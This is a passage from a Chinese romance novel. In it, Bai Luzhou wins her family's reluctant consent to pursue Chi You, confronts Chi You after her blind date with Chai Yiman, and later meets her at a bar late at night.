白碧英想不通,白鹭洲从小到大都是个优秀的孩子,尤其是做完钛板手术后,唯一的一点缺陷也补全了,她身边从来都不乏追求者,为什么非得要一个年龄那么小的女学生。更别说他们还见过那女学生屁大点的孩童时期,池柚于他们眼中固定在了作为小孩的初印象,然后这整件事就变得更加不可理喻。 但白鹭洲告诉他们: “你们知道我的,我决定的事,从不会放弃。” 李恩生和白碧英当然知道,这句话从白鹭洲口中说出来有多可怕。 如果是白鹊起那个性格的丫头,说出什么任性放肆的话,他们都可以无所顾忌地臭骂她一顿,让她赶紧清醒清醒。可这是白鹭洲,白鹭洲一生理智坚定,从不任性妄为,一件事被她讲出来,比真理还要令人信服三分。 不可逆了,回不了头的。 他们交谈了一天,奶奶的情绪大幅度起伏好多次,白鹭洲的态度却一直没变过,端正地坐在那里,表情都始终是淡淡的。 最后李恩生拉住了白碧英的胳膊,说了句:“算了,随她去吧。” 白碧英:“你就这么让我看着她昏了头往火坑里跳?你是不是忘了前几年因为一个追她的学生,邻里街坊都把她的脊梁骨戳成什么样子了?!你要让我看着她以后一直活在别人的非议里吗!” 李恩生沉声说:“我相信她没有昏头,她一定想得很明白才决定这么做。那是不是火坑,我们说了也不算。至于非议……” 他看向白鹭洲,问她:“你怕吗?” 白鹭洲:“不怕。” 李恩生:“会后悔吗?” 白鹭洲:“不会。” 李恩生点点头,说:“只要你自己不做后悔的事,我们也没什么好说的了。你奶奶只是担心你以后的路会不好走,她对池柚本人是没什么意见的。我会好好劝劝她,过段时间就好了,你放心。” 白碧英气得骂他:“你个死老头!” 李恩生微笑着揽住白碧英,拍她的肩,又对白鹭洲说:“起码三个月后,再把那个小丫头带回白柳斋来见我们吧。太早的话,我怕你奶奶给小丫头的醪糟豆花里下巴豆。” 白碧英:“你!” 白鹭洲浅浅一笑,颔首,“谢谢。” 李恩生:“去吧。” 白鹭洲起身,向二老道别:“再见,爷爷,奶奶。” 临分别时,爷爷好心地提醒: “真正难过的一关,是你母亲那关。” 白鹭洲点头,说她知道。 所以她才将头两个拜访的人定为爷爷和奶奶,她明白,和父母的拉扯会是一场持久战。 她也确实没料错。她只在白柳斋耗费了一天,但她在父母那里,耗费了整整半个月。 父亲和母亲都不在云州,两个人最近在北方的榆中市。母亲换了家新医院养病,父亲也将工作都暂时挪到了榆中。 那天从白柳斋出来后,白鹭洲买了飞机票,连夜前往榆中市。 父母…… 父母这两个角色在白鹭洲的生命中占比非常非常轻,比爷爷奶奶还要轻许多。 父亲常年忙着集团的事,回云州也是需要见二姐,因为云州这边的公司业务一直是二姐在打理。有时候和二姐在饭店聊工作,父亲才会偶尔顺便叫上她和爷爷奶奶,一家人难得地聚一聚。 但不论如何,一年到头,白鹭洲总还是能见父亲几次。 可是母亲…… 白鹭洲上初中之前,每年可以见母亲一次。初中之后,大概就只能三四年见一面了。 白鹭洲很早就知道,母亲有着重病,一种基因病,无法治愈,不知道什么时候就会走在所有人前面。是在生下白鹭洲之后才查出来的。所以自白鹭洲出生后,母亲再也没有亲近过她们这几个孩子,就怕感情养得深厚了,她去世时会造成更多的死别之苦。 白鹭洲性格里的清冷,和身体的遗传性残疾,以及如今一生病就很难痊愈的体质,或许都是来源于她的母亲。 但她向来明白,母亲的疏离不是因为不爱她们,就是因为太爱了,所以宁可和她们变成不相熟的陌生人,也不愿让她们时时牵挂忧心。 正是明白这一点,白鹭洲才需要和母亲说明自己和池柚的事。她知道母亲是关心她的,她有必要也有义务,知会对方这件人生大事。 而父亲,父亲很爱母亲,她的事只要母亲点头,父亲就不会再说什么。 所以这事难就难在,母亲对她的爱太过坚硬,对她的愧疚也太过深厚,一定会为她考虑得比奶奶多更多。想要说服母亲,便是成倍的难度。 白鹭洲在榆中的别墅楼里待了比预想中更久的时间。 母亲听到她说的话之后,果不其然冷着脸就走,摔上了卧室的门。 白鹭洲没哭没闹,就耐心地站在门口,一步也不离开。 母亲出来喝水吃饭,白鹭洲会跟着吃一点,但吃不了太多。到了晚上,她也睡觉,就睡在门边的沙发上。只是她没时间吃药,也不愿提起自己在发烧的事惹亲人担心,大部分时间就是站着等。 父亲有时会过来,小声劝白鹭洲。可不论他说什么,白鹭洲都只摇头,一动不动。 父亲看看她,又看看紧闭的卧室门,无奈地沉沉叹气。 母女俩都知道,她们在对峙,她们二人都在等待对方先妥协。 白鹭洲觉得她应该感谢这一场病。 因为她终于在半个月后撑不住倒在地上,看见母亲脸上那冰山碎裂般的慌张时,知道了,是她先等到了母亲的妥协。 她在医院里醒来,看见自己手背上的针眼数量,默默推算自己应该是输了两三天的液。 母亲在她身边坐着,久违地为她削一只苹果,说医生仔细诊断过了,白鹭洲这次的病实在拖太久了,打完吊瓶,回云州之后还得再吃几个月的药才行。 “洲洲。” 母亲严肃地看向白鹭洲。 “你也知道,我生你两个姐姐的时候身体还健康,唯独生你的时候有了这个病。你的身体受了遗传影响,本来就不比普通人……” 白鹭洲解释:“我不是故意拿身体要挟您的,只是恰巧最近的感冒一直没好。” 母亲:“但只要看到你病倒我就会愧疚,你和我都明白,你的体质会是这个样子,都是我遗传给你的。你明明知道会让我愧疚,还硬撑着不吃药不治疗。就算不是故意的,也绝不允许有下次了。” 白鹭洲苍白地浅笑一下。 她扭过头去,极轻地低喃: “那这次的愧疚,可以……让您答应我的请求吗。” 母亲削苹果的动作顿住。 “你就非得和那个学生在一起?” 白鹭洲盯着桌上的保温壶,“长这么大,我从来没有主动问你们要过什么。这一次,我只想要你们的一个允许而已。” 母亲继续推动小刀,旋下果皮,问起关于池柚的细节:“她毕业没有,什么专业?” 白鹭洲:“学医的,刚研究生毕业。” 母亲:“家里长辈都是什么职业,收入如何,有没有社保?” 白鹭洲:“都是从医的,家境很好,不用担心。” 母亲:“独生女吗?” 白鹭洲:“嗯,独生女。” 母亲沉默良久。 最后,她颤抖着叹出一口气。 “等你们稳定以后,我需要见见她。我得确定,她是一个能让我放心的人。” 白鹭洲:“如果能有那一天的话,一定。” 母亲皱眉,“还没谈上?” 白鹭洲:“没有。” 母亲:“还没谈就值得你这样?” 白鹭洲:“值得。” 白鹭洲这样的人就是有这样的能力,冷冷淡淡的几个简单的字,便可以说服任何执拗的人相信她。 ——“不怕。” ——“不后悔。” ——“值得。” 你就是能相信她,她真的不怕流言蜚语,不后悔要开始这段感情,那个人真的值得她这般孤注一掷,破釜沉舟。 母亲再次长叹了一声,将削好的苹果放进白鹭洲的手心。 “……回云州去吧。” 母亲低声道。 第064章 两周的时间过得很快, 池柚在每天解剖小白鼠和写报告中度过,一心扎在学术中,恍然不觉时光的流逝有多迅速。 她累的时候, 偶尔也会想要和以前一样,去地下室里待一会儿当做休息。但总是在念头冒出来之后, 才迟钝地发觉, 唯一的一把钥匙已经送给了白鹭洲。 她完成部分报告后也经常觉得烦躁, 她对字里行间的学术知识没有意见,只是想到或许要通过这份报告进入卡罗林斯卡,就感觉不舒服。 不止是因为这代表着她要出国。 还有其他原因。 她很久以前就对白鹭洲说过, 从医其实并不是她真正喜欢做的事,她对把人救活没兴趣。一想到自己在做的事最后的目的还是为了把人救活,她便不禁开始迷茫。 怎么好像感情和人生事业,都在往她不太期待的方向行进。 …… 不知道和柴以曼本人的会面, 能不能让她找到一点点期待的感觉。 柴以曼如期回国, 经过池柚的同意后,将第一次见面定在了一个周六的中午。 周六早上起来,池秋婉比池柚还要兴奋。 池秋婉亲自站在池柚的衣柜前,帮她挑了身最能显她身材长相的裙子, 给她梳了个精致的发型, 小辫子一缕一缕的编得堪称完美。又拿出两个小香囊,说里面有她给她俩求来的平安符, 不由分说地给池柚的包上挂了一个, 另一个塞到池柚手里,嘱咐她千万要交给柴以曼。 在池秋婉按着池柚的脸给她画眉毛时, 柴以曼给池柚打来了电话。 池柚接起:“喂?” 柴以曼:“我到你家楼下了。白色的帕拉梅拉,我人就站在车旁边。” 池柚:“好, 这就下去了。” 池柚乖巧地让池秋婉帮她画完最后一点眉毛,拎着包,提着小裙子下楼了。 今天阳光不错,路边矮灌木丛里的绿叶也被照得鲜嫩。红砖绿瓦,灰路白墙,所有景色仿佛都被加了一层鲜艳的滤镜。 微风也舒服,在温暖的阳光里吹来丝丝清爽,摇着树丛,摇着灌木叶,也摇着穿行在风中的人的发丝。 柴以曼就靠在帕拉梅拉的车门上,抱着胳膊,安静地看着池柚向她走过来。 她的五官明明和白鹭洲一点都不像,可她身上的特征又可以给人和白鹭洲差不多的感觉。高挑,纤瘦,优雅。一身矜贵的皮肤在阳光里白得发亮,长长的黑发被风撩动,裹住线条优美的肩颈。 但又不一样,她少一些古典味道。 可能是因为白鹭洲很少戴饰品,戴的话也是佩玉多一些。而柴以曼会给自己装饰上昂贵又精致的现代化首饰。比如耳朵上Tiffany的玫瑰金耳钉,和手腕上华伦天奴的细手链。 池柚当然不认得那些牌子。但她起码认得那是金属,不是玉石。 柴以曼本想好好和池柚打个招呼,却发现池柚站在她面前,一个劲儿的光盯着自己的手链看。 于是她咽下了那句准备好的“你好”,抬起手腕递到池柚面前,温声说: “喜欢吗?喜欢可以送给你。” 池柚收回目光,没有客气地婉拒说什么不用啦没关系,而是很没情商地直接坦言道: “不喜欢。” 柴以曼噗嗤一声笑了,“你怎么这么有意思啊。” 池柚茫然,“为什么?” 柴以曼:“因为——你拒绝的方式挺别致。” 池柚:“别致?” 柴以曼:“嗯,就是和别人都不一样。” 柴以曼拉开了副驾驶座的门,单手扶着门,很有风度地等待池柚进去。 池柚坐进副驾驶座,系好安全带。 柴以曼帮池柚关上门,也绕到另一边,坐入主驾驶位。她先看了一眼池柚的安全带情况,然后拧钥匙打火。 池柚坐在那儿想了一会儿,忽然问:“刚刚你的意思,是夸我吗?” 柴以曼在盯倒车雷达时抬眼看了下池柚,眼眸微弯:“当然。” 池柚:“那谢谢姐姐。” “你真的好有礼貌。都有点礼貌过头了,我觉得。”柴以曼打起方向盘。 池柚疑惑:“不好吗?” “挺好的。”柴以曼温柔地轻轻笑着,“某种特质过头的话,也很可爱的。” 池柚听得出这句肯定是夸,于是又说了声谢谢。 柴以曼被什么逗到了似的,笑了好阵子。 “刚刚你从小区里走出来,有惊艳到我。你本人比微信视频里更漂亮。”柴以曼说。 池柚无所适从地攥着手,“……谢谢。” 柴以曼:“我很吃你的颜。可能这么说不太礼貌,不过我一直想到什么说什么。说实话我是个外貌协会,恋爱交友都很看脸,你看我现在对你的态度有多好,就知道你有多好看了。” 池柚:“谢、谢谢……” 柴以曼:“性格也不错,乖乖的,可可爱爱的。” 池柚:“嗯……谢谢。” 柴以曼:“虽然是第一次见面,但就是让人忍不住想靠近你,哪怕是简单地交个朋友。” 池柚:“谢谢,谢谢。” 到了路口红灯,柴以曼停下车,把胳膊支在方向盘上,转过头来看池柚。 “我挺好奇,我就这么一直夸下去,你就会一直和我说‘谢谢’吗?” 池柚思索过后,点点头。 “会的。因为正常人的世界里,被恭维就是要道谢的。” 柴以曼饶有兴趣地挑了下眉,扶住方向盘小幅度转了转。 “我现在总算知道了,柴灵和我说的关于你的一些‘特别’,究竟是什么意思了。” “我……确实和正常人不一样。” 池柚低下头,摩挲自己的虎口。 “如果姐姐你才知道这一点,而且很介意的话,现在还没到餐厅,可以送我回去。” 柴以曼:“送你回去?” 池柚:“嗯,省一顿饭钱啊。” 闻言,柴以曼笑得梨涡都漾了起来。 “我不是那个意思,你的事我早就了解了,只是刚刚才具象化地感受到而已。” 红灯过去了,柴以曼再次发动车子。 “这饭钱还是别省了。冰箱贴还没给你,我也没收到回礼呢。我可是期待了很久的。” 柴以曼带池柚去了一家小高端的西餐厅,是她自己在云州常光顾的宝藏店。环境清幽,装修简约漂亮,周围是一大片梧桐林,吃饭间隙里只要抬眼,便可看见窗口的满绿。 用餐时两个人都很安静,不含着食物说话。 但也不尴尬,喝饮料时偶尔搭一两句话,氛围挺舒服。 吃过饭,柴以曼拿起包,取出了带给池柚的礼物。 除了那只布拉格天文钟冰箱贴外,她还带了一本《鼹鼠的故事》原版画集,放在一起推到池柚面前。 “捷克是《鼹鼠的故事》的故乡。我听说你很喜欢童话书,想着你应该看过这个动画片,所以顺手买了这本画册。和冰箱贴一样,也不贵,一定要收下哦。” 池柚道了谢后,也翻起自己的包。 她取出檀木手串与妈妈嘱咐要给的平安符香囊,递给柴以曼。 “这是寺庙里求的。” 很简短干巴的一句,多的她也不知道该怎么介绍。 柴以曼接过去,认认真真地看了会儿。 她翻过手腕,直接摘下了那条华伦天奴的手链,将檀木手串戴了上去。拿起香囊时,她注意到池柚的包上也挂了一个一样的,于是原本打算收起来的动作一转,也把那个香囊挂在了自己的包上。 “谢谢你,我很喜欢。” 柴以曼安置完礼物,双手十指交叉起来,支着下巴,用上目线看池柚。 “不过总觉得你送的好像要比我的贵一点,檀木哎,这个成色一看就不便宜。这样吧,你有什么其他想要的,尽管说,就当我补差价。” 池柚不甚在意,说:“没事,我家又不穷。” 不至于计较这些。 柴以曼:“我知道,但我强迫症,讲究平衡,不平衡我难受。” 所以天秤座的“天秤”是这个意思吗。 池柚想到了妈妈给她看过的那些星座玄学,突然觉得,自己好像找到了一个解释它合理性的切入点。 柴以曼再次开口:“想想吧,有什么想要的,权当拯救我这个强迫症。” 池柚思索了一阵子,看向柴以曼,“那请姐姐帮我一个忙。” 柴以曼:“你说。” 池柚:“我就是,有点好奇一件事。” 柴以曼:“什么事啊?” 池柚:“你伸一下手。” 柴以曼不知道池柚想做什么,不过还是依从她伸出了自己的右手。 她以为池柚要在自己的手里放什么东西,所以手心向上。 池柚摇摇头,说翻过来。 柴以曼便将右手翻了个面。 池柚也伸出了自己的右手,悬在柴以曼的右手上方。 一秒后,轻轻地落下。 她用自己的手背,轻软地贴上了柴以曼的手背。 就这么大概贴了五秒左右。 池柚歪了歪头,若有所思地盯着她们皮肤相贴的地方,喃喃:“好像也没有怎么样。” 没有世界爆炸,没有心跳狂乱,什么都没有,手背的温度都没怎么变化。 那为什么,白鹭洲会那么在意皮肤接触这件事呢? 池柚收回了手,自然地转而* 去拿饮料杯。 柴以曼不明所以地看了眼自己的手背,“就这样?” “嗯,就碰一下。谢谢姐姐了。”池柚喝了口杯子里的气泡水。 柴以曼:“我方便问问,为什么要这样做吗?” 池柚:“可能不太方便,对不起。” “……” 柴以曼将左手放在右手的手背上,摩挲片刻,蓦地笑了一声。 “你还真的是怪有意思的。” 饭已经吃完了,礼物也交换完毕,她们喝了会儿水,便准备离开了。 池柚说吃得有点饱,想要走一走。 柴以曼看了手机地图,说这里离池柚家其实也不远,开车绕一点,走路的话只要两公里。她可以陪她走回去,回头再打车回来取她的车。 从餐厅出来,柴以曼叫住走在前面的池柚,问她:“我可以拉你的手吗?” 池柚愣了一下,下意识摇头。 柴以曼:“所以,咱们可以手背碰手背,但是不可以手心碰手心。” 池柚:“呃……”好像这样说也没错? 柴以曼没有勉强,只说:“那不能拉手,总可以和你肩并着肩,并排走吧?” 池柚思考了一会儿,说可以。 柴以曼便走过来,和池柚挨近了一些。 回去的路上,她们闲聊了很多吃饭时没来得及聊的东西。 柴以曼说起这几个月在外地到处跑的见闻,聊了为自己的下本小说采风的灵感,还有要去瑞典的一些计划。池柚顺势就聊起了在瑞典的姥爷和姥姥,说起姥姥喜欢吃她做的菜。 柴以曼惊讶地问你很会做饭吗,池柚诚实地点头。 柴以曼说自己完全不会做饭,她也不知道怎么回事,自己明明是严格按照菜谱的步骤来的,但炖出来的肉就是又干又硬,特别难吃。 池柚问她是怎么炖的,柴以曼努力回忆,大略说了一下。 然后池柚就仔细地告诉她是什么地方出了问题,应该要怎么样怎么样去处理。 两个人聊得挺融洽,没有冷场过。 因为一路不休止的闲聊,两公里的路好像很快就走完了。 拐过弯,柴以曼将池柚送到了楼下。 池柚低着头,将刚刚小区门口一路踢过来的小石子又踢了一脚,余光瞥到熟悉的楼房墙根时松了口气,知道这次约会即将要结束了,全程也很顺利。一会儿妈妈问起,她有的可交代了。 “那你回家好好休息,我们下一次……” 柴以曼话说到一半,突然停住。 她注意到楼洞口台阶上站着一个穿着白衬衫的清冷女人,不进去也不走,就直直地站在那儿,泛着异样的沉重目光紧紧盯在池柚的身上,下颌骨骼咬得轮廓清晰。 是……池柚认识的人吗? “这是谁啊?” 柴以曼指着那人问池柚。 第065章 白鹭洲从榆中回来后休息了一晚。在榆中的半个月实在太累了, 几乎透支了她全部精力,一觉睡到第二天中午才醒。 醒来后,她洗了个澡, 换身干净衣服,将自己仔细地收拾一番, 准备去找池柚。 她算是很幸运的了, 虽然长辈们都有一些无法接受的理由, 但经过这半个月的努力,好歹都没有再那么反对,也松了口。 路已经开拓出, 踏平它只是时间问题。最重要的是,日后,这些事都不会再变成池柚的烦恼。 白鹭洲在去往池柚家的路上看见路边的花店,想起以前池柚常常会送给她各种各样的花, 于是半路停车, 也想去买一束带给池柚。 在花店,白鹭洲抱着胳膊,认真思索该买什么花。 有关爱情的话题应该以玫瑰开场,这一点毋庸置疑。只是该买什么颜色的玫瑰呢? 考虑过后, 她想, 池柚总是喜欢将白色的花涂红送给她,白色是池柚的起点, 红色是她的终点。那么她现在要回送, 就是从终点返回起点,所以该从红色褪色回白色。 她买了一束白玫瑰, 花朵不大,支数也不多, 小小的精致一束,单手就可以握住。 带着花,白鹭洲驱车来到池柚家小区。 白鹭洲上楼敲了门,池秋婉帮她开的门。 池秋婉看见她很惊讶,问她怎么会突然拜访。白鹭洲没有多解释,只问池柚在不在。池秋婉说刚出门,可能等一两个小时就回来了。 白鹭洲点点头,和池秋婉告辞。 她没有进屋等,也没有离开,而是选择在楼下等池柚回来。 ……有些话可能暂时不太适合在有池秋婉的场合里进行,但她也不想再往后拖了。 白鹭洲在楼下站了两个半小时,才终于等到回家的池柚。 但她怎么也没想到的是,她等来的不是一个人,而是两个人。 熟悉的身影在低着头走过拐角时,身边还跟着另一个陌生的身影。 今天的池柚一看就是认真打扮过的,编了小辫子,化了淡妆,裙子平整得一看就是被仔细熨过。 旁边的女人和池柚并肩一起走,肩头擦着肩头,温柔地偏着脸和池柚说话。池柚也没有表现出反感,沉默着允许那个人的越界靠近。 两个人都挎着包。 两只包上,分别挂着两个一模一样的、仿佛情侣物品般的小香囊。 白鹭洲有一小会儿忘记了呼吸。 半晌—— 还是她在无意识的状态下恍惚缩紧五指,将玫瑰花的包装纸捏出簌簌响声,才将她空白的大脑吵醒。 陌生女人也看见了白鹭洲,注意到了白鹭洲在盯着池柚,眉尾清浅地挑了一下,径直向池柚发问: “这是谁啊?” 她问:这是谁。 就好像她和池柚之间很熟悉,很亲密,而其他人都可以是她们二人关系之外的“旁人”,所以她有资格提这么一句类似于质问的问题,向池柚要一个解释。 白鹭洲此刻也好想问问:这是谁。 这个陌生女人,到底是谁。 池柚顺着柴以曼手指的方向抬眼看去。 看见白鹭洲的那瞬间,池柚眼里出现了一秒遮掩不住的慌乱。 她……怎么会在这里…… 池柚连续眨了好多次眼睛,说不上来心头涌上的那阵感觉是什么。 被抓包的恐惧吗?不应该啊,她已经和白鹭洲告别过了,而且原本就是要和柴以曼发展的,发展好了没准以后还要带着柴以曼一起和白鹭洲吃火锅,再怎么样她也不该害怕。 那这感觉是什么? 是……见面提前了,让她不知所措了? 池柚强压下心头的惊诧,咽了下口水,稳住心神。 她尽量平静地回答柴以曼的问题:“姐姐,这位是我的小学老师,白老师。” 她又看向白鹭洲,和白鹭洲介绍柴以曼:“老师,这位是我的相亲对象,她叫柴以曼。”说完,她想起以前和白鹭洲承诺过的要喜欢上别人的事,为了表述更清楚一点,补充道:“是我准备要喜欢上的人。” 白鹭洲怔住,不可置信地看着池柚。 她嘴唇微动了两下,才让自己能发出声音,接下来吐出来的几个字几乎带着颤抖: “你说什么?” 池柚重复:“她是我要喜欢上的人。” 白鹭洲扫了眼柴以曼,眼底渐渐地、一寸一寸冻上寒意,向前逼近了一步。 她一字一句地问池柚: “你不是说过,最喜欢我吗?” “不喜欢了。” 池柚再次捡起那天餐厅卫生间门口的伪装,平和地与白鹭洲对视。 “早就和您说过,不喜欢了呀。” “那……” 那狂欢派对的那晚,你答应我的事,又算什么呢? 不是点过头,愿意再给我们的感情一个机会吗? 酒醒后,理智回来后,遇到新人后,就不想对那晚说过的话负责了吗? 白鹭洲想问的问题太多了,多到她都不知道该从哪一句开始。 而最让她现在浑身发凉的,是池柚的眼神。 又回到了海鲜餐厅的那一天,又是那次的淡漠和释然。好像那晚狂欢派对上喝醉的根本不是池柚,而是她,是她迷醉中做了个不真实的梦。 柴以曼插嘴道:“白教授,你和小柚子的事我听说过。我不太懂……嗯……不懂你今天为什么会来这里说这些话。因为我听说的版本,是你拒绝了小柚子,还劝她去接触别人,难道我听到的说法有什么偏离么?” 白鹭洲沉默须臾,反问:“你知道我们所有的事?” 柴以曼:“差不多吧。” 白鹭洲看向池柚,“你什么事都愿意和她说?” 虽然有关白鹭洲的事都是池秋婉告诉柴灵、柴灵又告诉柴以曼的,但池柚觉得这种小差别没什么关系,便坦荡地说:“她知道也没事啊。” 妈妈一早就知会过她,柴以曼知道她和白鹭洲的过往,并且一点都不在意。 白鹭洲低下头,自嘲似的笑了笑。 她的情绪现在太混乱了,理智也无法再维续。胸口传来阵阵陌生的酸胀疼痛,让她没办法再思考。 这样的状态下,她知道不该再聊下去了。她的确需要和池柚好好聊一聊她们的事,但现在不行,她不想被情绪左右,走向失控。 尤其是这个柴以曼还在场的情况下。 白鹭洲从来没有尝过嫉妒的滋味,以往学业事业上遇到再强劲的对手,她也只会感慨自己的不足。可她今天尝到了妒意,不是因为柴以曼有多强多优秀,而是因为…… 因为这个人在短暂的接触中就能贴近池柚,站在她身边。 因为她们包上挂着的一样的香囊。 因为这人轻而易举就知道了池柚最隐秘的心事,而池柚也全然允许。 这些细节不断冲击着白鹭洲的大脑,每意识一遍,她的呼吸就变得更困难一点。 柴以曼读出了气氛的怪异,很懂进退地和池柚说:“小柚子,要不我先走,感觉你们可能需要单独说几句话。” 自从海鲜餐厅彻底道别后,池柚就非常害怕和白鹭洲单独相处。她忙拦住柴以曼,“你别走,那个……妈妈还想请你上去喝口茶。” 柴以曼:“那……那是我先上去,还是你和我一起上去?” 池柚:“你先等一下。” 池柚朝着白鹭洲走出几步,离她近了一点,拉到以示礼貌的社交距离内,“老师,您今天找我是不是有什么重要的事?如果有要紧的事情,您尽管说,我肯定能帮就帮。” 白鹭洲抬起眼,声音变得有些哑:“如果没有要紧的事呢?” 池柚:“没有的话,我就得先回家了。” “……” 白鹭洲忍住了想要漫上嘴边的苦笑,抿了抿嘴唇。 “有一件,算是吧。” 池柚:“您说。” 白鹭洲掏出了自己的手机,解锁,按了几下,屏幕朝上递到池柚面前。 “加下我的微信。” 这个举动看着挺正常的,或许是为以后她们的师友关系铺路。池柚没想太多,乖乖地用自己的手机扫了白鹭洲的二维码,发送了好友申请。 扫码的时候,池柚注意到白鹭洲另一只手上握了一束花。刚刚白鹭洲半边身子都沉在楼洞的黑暗里,花束也小,她都没看见这束花。 纯白色的玫瑰。 可能是要带给某个朋友的吧,池柚压根没敢往自己的身上想一点。 她很快移开目光,专心看手机。 柴以曼轻声提醒:“我们走吗?” 池柚:“好,走。” 她们一同往电梯方向走之前,池柚还礼貌地和白鹭洲道别: “老师,下次见。” 白鹭洲面无表情:“嗯。” 两个人都默契地没有说到“再见”这个字眼。池柚是习惯性地避开,白鹭洲不知不觉也给自己养成了习惯,再不轻易说出这两个字。 电梯门关上之前,池柚都看着地面,不敢看楼洞口的那个背影。 柴以曼跟着池柚上楼之后,池秋婉热情地招待了她,留她在家里聊了很久,甚至还想邀请人家吃晚饭。 不过柴以曼说自己晚上还有别的安排,恐怕没这个口福了。池秋婉笑呵呵地说没关系,等下次有机会再来家里,让池柚亲手下厨。 她们聊天的时候,池柚坐在一边安静地发呆,很少开口,不知道在想什么。 到必须要走的时间了,柴以曼起身和池秋婉颔首,池秋婉叫池柚下楼送一下柴以曼。 池柚乖顺地站起来,和柴以曼一起出门。 她送柴以曼到小区门口,柴以曼在路边打了个车。临走时,柴以曼和池柚说:“我最近会忙上几天,有空的时候再在微信上找你,期待和你的第二次约会。” 池柚撑起一个笑。 柴以曼静静地端详了一会儿池柚的表情,又问:“我们会有第二次约会吗?” 池柚有些疲倦地垂眼,“会吧。” 柴以曼弯了弯唇角,“希望如此。” 柴以曼上了出租车,在车窗里和池柚说了声再见。 池柚回了句拜拜。 送走柴以曼后,池柚揉了揉额头,长长地舒了口气。 一天下来,她感觉身心俱疲,疲惫的原因都再没有力气去细想。她慢吞吞地转过身,只想马上回家,躺床上好好休息一下。 不经意回头时,池柚飘忽的目光倏地顿住。 小区门口马路边的垃圾桶最上面,狼狈地躺着一束小捧的白玫瑰。 几个小时前,她亲眼见过的那束玫瑰。 花骨朵摔得掉了好多花瓣,包装纸也满是细碎的褶皱,花叶零零散散地掉落到了垃圾桶周围的地面上,支离破碎得可怜。 如果有路过的爱花者想捡,恐怕都敛不起一个花儿的全尸。 看来,扔它的人在撇手的那一刻,一定使了不小的力气。 第066章 池柚回到家, 洗漱完就直接睡觉了。 也没看时间,可能大概就七八点的样子。 池秋婉本来还想问问今天约会的细节,但看到女儿没精打采的模样, 便大发慈悲放过了她,想着明天再问也不迟。 这一晚, 池柚的睡眠质量很一般, 她总断断续续地做梦。 一会儿梦见和柴以曼在餐厅里聊天, 一会儿梦见地下室的门被打开了,门里黑洞洞的一片。 一会儿又梦见她蹲在床边,给一个很像白鹭洲的女人擦脸。 一会儿又梦见那束垃圾桶上被摔碎的玫瑰花。 梦里的她最后走向了垃圾桶, 捡起那束白色的花。有什么肌肉记忆似的,又用沾满红颜料的笔刷耐心地将所有花瓣涂红。 把花涂成红色,一直以来都是她安抚白鹭洲的方式。 她也不知道为什么自己会想要涂红这束花,或许是因为今天下午的白鹭洲看起来状态很不对, 一向冷淡的表情有好几次没敛住。 也可能是她看出白鹭洲的病仍旧没有好全, 瘦瘦长长的一个人苍白又单薄地站在那儿,随便一个人过来拍下她的肩都能把她弄折一样。 在凌晨两点的时候,池柚在睡梦中被突兀的微信语音电话的铃声吵醒。 她朦胧地眯着眼睛摸到手机,没细看就接通了放在耳边。 困顿地:“喂?” 电话那边有音乐声, 略有嘈杂。 那端的人沉默了片刻才开口: “抱歉, 打扰你睡觉了。” 池柚霎时睁大眼睛。 迟疑地喊对方: “老、老师?” 白鹭洲“嗯”了一声。 “我想见见你,你方便出来吗?” 池柚一下子清醒了, 清醒的刹那脑子里浮现出很多想法。 白鹭洲多年来都是雷打不动的早睡早起, 甚至晚上十点之后手机都是关机状态,这深更半夜的怎么人还在外面? 那边的背景音有点吵, 是在什么地方? 又为什么要找她呢? 池柚坐起来,清清喉咙, 问:“您在哪里,有什么急事吗?” “我在酒吧。”白鹭洲的嗓音衬在音乐声中,凛冽的音色显得格格不入,“没什么急事,但就是想见见你,有话想问你。” 酒吧…… 白鹭洲那两杯酒就醉的体质,跑酒吧去了? 心头涌上的担忧一时间漫过了所有疑问。 池柚应了句好,让白鹭洲把地址发给她,然后挂断了通话。她匆匆地去卫生间洗了把脸,换了衣服,轻手轻脚地穿过客厅出了门。 夜间不好拦出租车,池柚有点急,也顾不得深夜叫网约车不太安全的事,直接用手机叫了辆滴滴。 半小时后她到达目的地酒吧,一进去就找服务员问路。服务员将她带到二楼的卡座区,遥遥地朝一个位置指了一下。 池柚深吸一口气,走过去。 她以为会看到满桌的酒瓶,一片狼藉的现场,还有面色酡红意识模糊的白鹭洲。她的手机都没有退出打车页面,已经做好了马上再叫辆网约车来送白鹭洲回家的准备。 但她走近了,才看见桌上只摆了一壶清茶,还有两盘没怎么吃的烤串。 白鹭洲端着茶杯正襟危坐,双眼清明地望着她。 并且白鹭洲已经没有了下午的奇怪状态,恢复到了和往常无差的样子。清冷的五宫平和又宁静,眼底的情绪压得很严,让人一眼看不出喜怒。 好像也换了件衣服。 下午穿的还是件白衬衣,现在却是一件矢车菊蓝的衬衣。轻薄的衬衫布料妥帖地伏在她骨骼清晰的雪白肩颈处,蓝天白云般,澄净又遥远。 “您……” 池柚一时语塞。 “坐吧。” 白鹭洲抿了口茶,放下茶杯。 “我叫服务员拿菜单,你看看你想喝什么。” 池柚在距离白鹭洲一米远的沙发上坐下,又扫了一圈桌上的东西,欲言又止,“您……来酒吧就点这些?” 白鹭洲:“我是想找个能坐一坐的地方,这个时间点,正常餐厅都不开放了。这是个清吧,不吵,只放放音乐。他家主营业务是烤肉,听很多朋友说这里的烤肉很不错,你要是想尝尝,我再点份热的。” “奥……”池柚松口气,“没事,我不饿。” 服务员走过来,将菜单递给池柚。 池柚点了杯度数很低的龙舌兰日出,刚过来得太急,确实口渴了。 等服务员端着做好的龙舌兰日出过来,放到池柚的面前,白鹭洲才又开口说话: “我为我今天下午的失态,还有现在半夜不合时宜地吵醒你,和你道歉。” 池柚捏着酒杯往自己跟前挪了一点,浅浅一笑。 “没事的,刚好今天睡得很早,这会儿醒了也特别精神。” 顿了顿。 “而且您干嘛突然这么客气。” 白鹭洲再次端起茶杯。 却不喝,只是转着小杯子看里面的茶沫。 背景音乐切换到了一曲英文歌,是Adam的《Outlows of love》。 舒缓又悲伤的一首囚徒之爱。 “那天晚上的事,你是不想负责,还是不记得了?” 白鹭洲将杯子轻轻磕在桌面上,手指没有松开,一下又一下地轻磕。 茶面的涟漪细细地荡开一圈又一圈。 “噗……咳、咳咳。” 池柚被刚喝进嘴里的酒狠狠呛到,一脸收敛不住的震惊,边咳边结巴地问: “什、什么?” 白鹭洲耐心地重复:“那天晚上,你是不愿意负责,还是忘记了?” 池柚睁大了圆圆的眼睛,惊诧又迷茫,“哪天?什么晚上?什、什么事?” 白鹭洲:“师大和医科大联合派对的那晚。” 池柚目瞪口呆了好久。 好半天,她仿佛确认不是自己幻听般,小心翼翼地问白鹭洲:“您的意思是,那晚您也去了派对,还……” 